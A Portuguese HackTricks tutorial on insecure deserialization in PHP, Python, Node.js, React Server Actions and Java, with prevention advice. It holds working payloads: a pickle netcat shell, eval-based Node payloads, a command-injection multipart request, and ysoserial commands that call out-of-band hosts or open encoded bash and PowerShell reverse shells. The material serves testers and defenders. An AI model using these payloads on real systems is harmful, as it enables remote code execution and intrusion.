Desserialização
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Serialização é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado posteriormente, mantendo sua estrutura e estado.
Desserialização, por outro lado, é o processo que desfaz a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
A desserialização pode ser perigosa porque potencialmente permite que atacantes manipulem os dados serializados para executar código malicioso ou causar comportamento inesperado na aplicação durante o processo de reconstrução do objeto.
PHP
No PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:
__sleep: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para confirmar dados pendentes ou executar tarefas de limpeza similares.__wakeup: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.__unserialize: Este método é chamado em vez de__wakeup(se existir) quando um objeto está sendo desserializado. Ele fornece mais controle sobre o processo de desserialização em comparação com__wakeup.__destruct: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. É tipicamente usado para tarefas de limpeza, como fechar descritores de arquivo ou conexões de banco de dados.__toString: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Se você olhar os resultados pode ver que as funções __wakeup e __destruct são chamadas quando o objeto é desserializado. Note que em vários tutoriais você verá que a função __toString é chamada ao tentar imprimir algum atributo, mas aparentemente isso não acontece mais.
Warning
O método
__unserialize(array $data)é chamado em vez de__wakeup()se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar esse método para desserializar propriedades e executar quaisquer tarefas necessárias durante a desserialização.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Você pode ler um exemplo explicado PHP aqui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aqui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou aqui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Você pode abusar da funcionalidade PHP autoload para carregar arquivos php arbitrários e mais:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers podem ser coagidos a instanciar grafos de gadgets arbitrários (com ou sem APP_KEY) para alcançar sinks Laravel Queueable/SerializableClosure:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
Se por algum motivo você quiser serializar um valor como uma referência a outro valor serializado você pode:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Prevenindo PHP Object Injection com allowed_classes
[!INFO] Suporte para o segundo argumento de
unserialize()(o array$options) foi adicionado no PHP 7.0. Em versões mais antigas a função aceita apenas a string serializada, tornando impossível restringir quais classes podem ser instanciadas.
unserialize() irá instanciar cada classe que encontrar dentro do fluxo serializado, a menos que seja instruída ao contrário. Desde o PHP 7 o comportamento pode ser restringido com a opção allowed_classes:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Se allowed_classes estiver omitido ou o código for executado em PHP < 7.0, a chamada torna-se perigosa pois um atacante pode montar um payload que abusa de métodos mágicos como __wakeup() ou __destruct() para obter Remote Code Execution (RCE).
Exemplo do mundo real: Everest Forms (WordPress) CVE-2025-52709
O plugin do WordPress Everest Forms ≤ 3.2.2 tentou ser defensivo com um wrapper auxiliar, mas se esqueceu das versões legadas do PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Em servidores que ainda executavam PHP ≤ 7.0, esse segundo ramo levava a um clássico PHP Object Injection quando um administrador abria um envio de formulário malicioso. Um payload de exploit mínimo poderia ser:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Assim que o admin visualizou a entrada, o objeto foi instanciado e SomeClass::__destruct() foi executado, resultando em execução arbitrária de código.
Principais pontos
- Sempre passe
['allowed_classes' => false](ou uma lista branca estrita) ao chamarunserialize(). - Audite wrappers defensivos – eles frequentemente se esquecem dos ramos legados do PHP.
- Atualizar para PHP ≥ 7.x sozinho não é suficiente: a opção ainda precisa ser fornecida explicitamente.
PHPGGC (ysoserial for PHP)
PHPGGC pode ajudar a gerar payloads para abusar de PHP deserializations.
Perceba que, em vários casos, você não conseguirá encontrar uma forma de abusar de uma deserialization no código-fonte da aplicação, mas pode conseguir abusar do código de extensões PHP externas.
Portanto, se puder, verifique o phpinfo() do servidor e pesquise na internet (e até nos gadgets do PHPGGC) por possíveis gadgets que você possa abusar.
phar:// metadata deserialization
If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:
Python
Pickle
Quando o objeto é unpickle, a função ___reduce___ será executada.
Quando explorado, o servidor pode retornar um erro.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Antes de verificar a técnica de bypass, tente usar print(base64.b64encode(pickle.dumps(P(),2))) para gerar um objeto compatível com python2 se você estiver executando python3.
Para mais informações sobre escapar de pickle jails confira:
Yaml & jsonpickle
A página a seguir apresenta a técnica para abuse an unsafe deserialization in yamls em bibliotecas python e termina com uma ferramenta que pode ser usada para gerar payloads de deserialization RCE para Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS não tem “magic” functions como PHP ou Python que serão executadas apenas pela criação de um objeto. Mas tem algumas funções que são frequentemente usadas mesmo sem serem chamadas diretamente como toString, valueOf, toJSON.
Se abusar de uma deserialization você pode comprometer essas funções para executar outro código (potencialmente abusando de prototype pollutions) e assim executar código arbitrário quando elas forem chamadas.
Outra “magic” way to call a function sem chamá-la diretamente é comprometendo um objeto que é retornado por uma async function (promise). Porque, se você transformar esse objeto de retorno em outra promise com uma propriedade chamada “then” of type function, ela será executada apenas porque é retornada por outra promise. Siga este link para mais informações.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ e prototype pollution
Se quiser aprender sobre esta técnica veja o tutorial a seguir:
NodeJS - proto & prototype Pollution
node-serialize
Esta biblioteca permite serializar funções. Exemplo:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
O objeto serializado ficará assim:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Você pode ver no exemplo que quando uma função é serializada a flag _$$ND_FUNC$$_ é anexada ao objeto serializado.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
Como você pode ver no último trecho de código, se a flag for encontrada eval é usado para desserializar a função, então basicamente a entrada do usuário está sendo usada dentro da função eval.
No entanto, apenas serializar uma função não a executará, pois seria necessário que alguma parte do código estivesse chamando y.rce no nosso exemplo e isso é altamente improvável.
De qualquer forma, você poderia simplesmente modificar o objeto serializado adicionando alguns parênteses para autoexecutar a função serializada quando o objeto for desserializado.
No próximo trecho de código observe o último parêntese e como a função unserialize executará automaticamente o código:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Como foi previamente indicado, esta biblioteca vai obter o código após_$$ND_FUNC$$_ e irá executá-lo usando eval. Portanto, para auto-executar código você pode apagar a parte de criação da função e o último parêntese e simplesmente executar um oneliner JS como no exemplo a seguir:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here mais informações sobre como explorar essa vulnerabilidade.
funcster
Um aspecto notável do funcster é a inacessibilidade dos objetos built-in padrão; eles ficam fora do escopo acessível. Essa restrição impede a execução de código que tenta invocar métodos em objetos built-in, levando a exceções como “ReferenceError: console is not defined” quando comandos como console.log() ou require(something) são usados.
Apesar dessa limitação, é possível restaurar o acesso completo ao contexto global, incluindo todos os objetos built-in padrão, por meio de uma abordagem específica. Ao utilizar diretamente o contexto global, é possível contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o seguinte snippet:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Para more information read this source.
serialize-javascript
O pacote serialize-javascript é projetado exclusivamente para fins de serialização, não possuindo capacidades de desserialização embutidas. Os usuários são responsáveis por implementar seu próprio método de desserialização. O uso direto de eval é sugerido pelo exemplo oficial para desserializar dados serializados:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Se esta função for usada para desserializar objetos você pode explorá-la facilmente:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Para more information read this source.
Biblioteca Cryo
Nas páginas seguintes você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) dependem de react-server-dom-webpack (RSDW) para decodificar submissões de server action que são enviadas como multipart/form-data. Cada submissão de action contém:
$ACTION_REF_<n>parts que referenciam a action sendo invocada.$ACTION_<n>:<m>parts cujo corpo é JSON such as{"id":"module-path#export","bound":[arg0,arg1,...]}.
Na versão 19.2.0 o helper decodeAction(formData, serverManifest) confia cegamente tanto na id string (selecionando qual export do módulo chamar) quanto no bound array (os argumentos). Se um atacante conseguir alcançar o endpoint que encaminha requests para decodeAction, ele pode invocar qualquer server action exportada com parâmetros controlados pelo atacante mesmo sem um front-end React (CVE-2025-55182). A receita de ponta a ponta é:
- Aprenda o identificador da action. Bundle output, error traces or leaked manifests tipicamente revelam strings como
app/server-actions#generateReport. - Recrie o payload multipart. Construa uma parte
$ACTION_REF_0e um corpo JSON$ACTION_0:0carregando o identificador e argumentos arbitrários. - Deixe
decodeActiondespachar. O helper resolve o módulo a partir deserverManifest, importa a exportação e retorna um callable que o servidor executa imediatamente.
Exemplo de payload atingindo /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Ou com curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
O array bound popula diretamente os parâmetros server-action. No laboratório vulnerável o gadget se parece com:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
Fingerprints
White Box
To identify potential serialization vulnerabilities in the codebase search for:
- Classes that implement the
Serializableinterface. - Usage of
java.io.ObjectInputStream,readObject,readUnsharefunctions.
Pay extra attention to:
XMLDecoderutilized with parameters defined by external users.XStream’sfromXMLmethod, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.ObjectInputStreamcoupled with thereadObjectmethod.- Implementation of methods such as
readObject,readObjectNodData,readResolve, orreadExternal. ObjectInputStream.readUnshared.- General use of
Serializable.
Black Box
For black box testing, look for specific signatures or “Magic Bytes” that denote java serialized objects (originating from ObjectInputStream):
- Hexadecimal pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response headers with
Content-typeset toapplication/x-java-serialized-object. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00. - Base64 pattern indicating prior compression:
H4sIA. - Web files with the
.facesextension and thefaces.ViewStateparameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Verifique se está vulnerável
Se quiser aprender como um Java Deserialized exploit funciona, consulte Basic Java Deserialization, Java DNS Deserialization e CommonsCollection1 Payload.
SignedObject-gated deserialization e pre-auth reachability
Bases de código modernas às vezes envolvem a deserialização com java.security.SignedObject e validam uma assinatura antes de chamar getObject() (que desserializa o objeto interno). Isso previne arbitrary top-level gadget classes, mas ainda pode ser explorável se um atacante conseguir obter uma assinatura válida (por exemplo, comprometimento da chave privada ou um signing oracle). Além disso, fluxos de tratamento de erros podem emitir session-bound tokens para usuários não autenticados, expondo sinks protegidos pre-auth.
Para um estudo de caso concreto com requisições, IoCs e orientações de hardening, veja:
Java Signedobject Gated Deserialization
Teste White Box
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Você pode tentar verificar todas as bibliotecas conhecidas por serem vulneráveis e para as quais Ysoserial can provide an exploit for. Ou você pode checar as bibliotecas indicadas em Java-Deserialization-Cheat-Sheet.
Você também pode usar gadgetinspector para buscar possíveis gadget chains que possam ser exploradas.
Ao executar gadgetinspector (após compilá-lo) não se preocupe com a tonelada de avisos/erros pelos quais ele passa e deixe-o terminar. Ele escreverá todas as descobertas em gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Por favor, note que gadgetinspector não cria um exploit e pode indicar falsos positivos.
Teste Black Box
Usando a extensão do Burp gadgetprobe você pode identificar quais bibliotecas estão disponíveis (e até as versões). Com essa informação pode ser mais fácil escolher um payload para explorar a vulnerabilidade.
Read this to learn more about GadgetProbe.
GadgetProbe está focado em desserializações de ObjectInputStream.
Usando a extensão do Burp Java Deserialization Scanner você pode identificar bibliotecas vulneráveis exploráveis com ysoserial e explorá-las.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner está focado em desserializações de ObjectInputStream.
Você também pode usar Freddy para detectar vulnerabilidades de desserialização no Burp. Este plugin detectará não apenas vulnerabilidades relacionadas a ObjectInputStream mas também vulnerabilidades de bibliotecas de desserialização de Json e Yml. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.
You can find more information about Freddy here.
Teste de Serialização
Nem tudo se resume a verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes você pode ser capaz de alterar os dados dentro do objeto serializado e contornar algumas verificações (talvez concedendo privilégios de admin dentro de uma webapp).
Se você encontrar um objeto java serializado sendo enviado para uma aplicação web, você pode usar SerializationDumper para imprimir em um formato mais legível o objeto serializado que está sendo enviado. Saber quais dados você está enviando facilita modificá-los e contornar algumas verificações.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Ao criar um payload para java.lang.Runtime.exec() você não pode usar caracteres especiais como “>” ou “|” para redirecionar a saída de uma execução, “$()” para executar comandos ou mesmo passar argumentos para um comando separados por espaços (você pode fazer echo -n "hello world" mas não pode fazer python2 -c 'print "Hello world"'). Para codificar corretamente o payload você poderia use this webpage.
Sinta-se à vontade para usar o script a seguir para criar all the possible code execution payloads para Windows e Linux e então testá-los na página web vulnerável:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Você pode usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto com ysoserial para criar mais exploits. Mais informações sobre esta ferramenta nos slides da palestra onde a ferramenta foi apresentada: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização Json e Yml em Java.
Para compilar o projeto precisei adicionar estas dependências ao pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instale maven, e compile o projeto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Leia mais sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratórios
- Se você quiser testar alguns ysoserial payloads você pode executar este webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Por que
Java usa muita serialização para diversos propósitos, como:
- HTTP requests: A serialização é amplamente empregada no gerenciamento de parâmetros, ViewState, cookies, etc.
- RMI (Remote Method Invocation): O protocolo Java RMI, que depende inteiramente de serialização, é um pilar para comunicação remota em aplicações Java.
- RMI over HTTP: Esse método é comumente usado por aplicações Java com cliente pesado, utilizando serialização para toda a comunicação de objetos.
- JMX (Java Management Extensions): JMX utiliza serialização para transmitir objetos pela rede.
- Protocolos personalizados: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, o que será demonstrado em exemplos de exploit a seguir.
Prevenção
Transient objects
Uma classe que implementa Serializable pode declarar como transient qualquer objeto dentro da classe que não deva ser serializável. Por exemplo:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evitar a serialização de uma classe que precisa implementar Serializable
Em cenários onde certos objetos devem implementar a interface Serializable devido à hierarquia de classes, existe o risco de desserialização não intencional. Para prevenir isso, garanta que esses objetos sejam não desserializáveis definindo um método final readObject() que sempre lança uma exceção, como mostrado abaixo:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Aprimorando a segurança de Deserialization em Java
Customizing java.io.ObjectInputStream é uma abordagem prática para proteger processos de deserialization. Este método é adequado quando:
- O código de deserialization está sob seu controle.
- As classes esperadas para deserialization são conhecidas.
Sobrescreva o método resolveClass() para limitar a deserialization apenas às classes permitidas. Isso evita a deserialization de qualquer classe exceto aquelas explicitamente permitidas, como no exemplo a seguir que restringe a deserialization apenas à classe Bicycle:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement oferece uma solução de fallback quando a modificação do código não é possível. Este método aplica-se principalmente para blacklisting de classes prejudiciais, usando um parâmetro da JVM:
-javaagent:name-of-agent.jar
Ele fornece uma maneira de proteger a desserialização dinamicamente, ideal para ambientes onde mudanças imediatas no código são impraticáveis.
Veja um exemplo em rO0 by Contrast Security
Implementando Filtros de Serialização: Java 9 introduziu filtros de serialização via a interface ObjectInputFilter, fornecendo um mecanismo poderoso para especificar critérios que objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por stream, oferecendo um controle granular sobre o processo de desserialização.
Para utilizar filtros de serialização, você pode definir um filtro global que se aplica a todas as operações de desserialização ou configurá-lo dinamicamente para streams específicos. Por exemplo:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Aproveitando Bibliotecas Externas para Segurança Aprimorada: Bibliotecas como NotSoSerial, jdeserialize e Kryo oferecem recursos avançados para controlar e monitorar deserialização Java. Essas bibliotecas podem fornecer camadas adicionais de segurança, como whitelisting ou blacklisting de classes, analisar objetos serializados antes da deserialização e implementar estratégias de serialization personalizadas.
- NotSoSerial intercepta processos de deserialização para evitar a execução de código não confiável.
- jdeserialize permite a análise de objetos Java serializados sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.
